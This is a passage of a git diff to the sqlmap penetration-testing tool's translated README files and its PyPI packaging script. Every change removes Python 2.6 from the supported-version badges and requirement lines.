+[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. @@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. +sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. Utilizzo ---- diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 3cbc9ce999c..d43e3f563e1 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 @@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 +sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 使用方法 ---- diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 9eb193d1d17..12b59b31ea4 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. @@ -20,7 +20,7 @@ sqlmap არის შეღწევადობის ტესტირე git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან. +sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან. გამოყენება ---- diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index dd508732dde..2542209833e 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. @@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장 git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. +sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. 사용법 ---- diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index 03c4dff3ef9..f114168410d 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. @@ -20,7 +20,7 @@ Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmappr git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**. +sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**. Gebruik ---- diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index 00fdf7b43b9..e7b145e96b8 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. @@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej. +do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej. Sposób użycia ---- diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 6fe64ed6a49..9f5ebfd9938 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. @@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas. +sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas. Como usar ---- diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index de0fb2e2f3e..e130727feaa 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. @@ -20,7 +20,7 @@ Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproj git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. Korišćenje ---- diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index c88f532e6b5..38147222530 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. @@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе. +sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе. Использование ---- diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index 0f32c0c4d14..d673b3e3aa8 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení. @@ -20,7 +20,7 @@ Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproj git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.6**, **2.7** a **3.x** na akejkoľvek platforme. +sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme. Využitie ---- diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 320d81b1236..46e5267e9e0 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır. @@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. +sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. Kullanım ---- diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index 26e96f7d6cf..ab7814676b1 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. @@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі. +sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі. Використання ---- diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index 45cbd33c6c1..ceb2724552d 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. @@ -22,7 +22,7 @@ Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào. +sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào. Sử dụng ---- diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index d63d6da4a71..b065c10a0fa 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 @@ -20,7 +20,7 @@ sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的 git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上 +sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上 使用方法 ---- diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 896985c9126..cd39f21e785 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -82,7 +82,7 @@ cat > README.rst << "EOF" sqlmap ====== -|Python 2.6|2.7|3.x| |License| |X| +|Python 